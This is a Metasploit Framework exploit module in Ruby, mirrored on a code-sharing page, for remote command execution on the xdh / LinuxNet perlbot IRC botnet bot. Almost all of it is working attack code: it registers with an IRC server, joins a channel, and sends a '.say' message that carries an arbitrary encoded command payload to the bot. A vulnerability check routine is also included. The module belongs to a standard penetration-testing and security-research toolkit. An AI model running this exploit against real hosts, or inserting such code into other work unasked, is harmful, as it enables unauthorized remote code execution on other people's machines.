Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/xdh_x_exec.rb
21666 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution',
16
'Description' => %q{
17
This module allows remote command execution on an IRC Bot developed by xdh.
18
This perl bot was caught by Conor Patrick with his shellshock honeypot server
19
and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt
20
Thayer also found this script which has a description of LinuxNet perlbot.
21
22
The bot answers only based on the servername and nickname in the IRC message
23
which is configured on the perl script thus you need to be an operator on the IRC
24
network to spoof it and in order to exploit this bot or have at least the same ip
25
to the config.
26
},
27
'Author' => [
28
# MalwareMustDie
29
'Jay Turla', # msf
30
'Conor Patrick', # initial discovery and botnet analysis for xdh
31
'Matt Thayer' # initial discovery for LinuxNet perlbot
32
],
33
'License' => MSF_LICENSE,
34
'References' => [
35
[ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ],
36
[ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery
37
[ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is
38
],
39
'Platform' => %w{unix win},
40
'Arch' => ARCH_CMD,
41
'Payload' => {
42
'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
43
'DisableNops' => true,
44
'Compat' =>
45
{
46
'PayloadType' => 'cmd'
47
}
48
},
49
'Targets' => [
50
[ 'xdh Botnet / LinuxNet perlbot', {} ]
51
],
52
'Privileged' => false,
53
'DisclosureDate' => '2015-12-04',
54
'DefaultTarget' => 0,
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
Opt::RPORT(6667),
66
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
67
OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name
68
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
69
]
70
)
71
end
72
73
def post_auth?
74
true
75
end
76
77
def check
78
connect
79
80
res = register(sock)
81
if res =~ /463/ || res =~ /464/
82
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
83
return Exploit::CheckCode::Unknown
84
end
85
86
res = join(sock)
87
if !res =~ /353/ && !res =~ /366/
88
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
89
return Exploit::CheckCode::Unknown
90
end
91
92
quit(sock)
93
disconnect
94
95
if res =~ /auth/ && res =~ /logged in/
96
Exploit::CheckCode::Vulnerable
97
else
98
Exploit::CheckCode::Safe
99
end
100
end
101
102
def send_msg(sock, data)
103
sock.put(data)
104
data = ""
105
begin
106
read_data = sock.get_once(-1, 1)
107
while !read_data.nil?
108
data << read_data
109
read_data = sock.get_once(-1, 1)
110
end
111
rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
112
elog(e)
113
end
114
115
data
116
end
117
118
def register(sock)
119
msg = ""
120
121
if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
122
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
123
end
124
125
if datastore['NICK'].length > 9
126
nick = rand_text_alpha(9)
127
print_error("The nick is longer than 9 characters, using #{nick}")
128
else
129
nick = datastore['NICK']
130
end
131
132
msg << "NICK #{nick}\r\n"
133
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
134
135
send_msg(sock, msg)
136
end
137
138
def join(sock)
139
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
140
send_msg(sock, join_msg)
141
end
142
143
def xdh_command(sock)
144
encoded = payload.encoded
145
command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n"
146
send_msg(sock, command_msg)
147
end
148
149
def quit(sock)
150
quit_msg = "QUIT :bye bye\r\n"
151
sock.put(quit_msg)
152
end
153
154
def exploit
155
connect
156
157
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
158
res = register(sock)
159
if res =~ /463/ || res =~ /464/
160
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
161
return
162
end
163
164
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
165
res = join(sock)
166
if !res =~ /353/ && !res =~ /366/
167
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
168
return
169
end
170
171
print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
172
xdh_command(sock)
173
174
quit(sock)
175
disconnect
176
end
177
end
178
179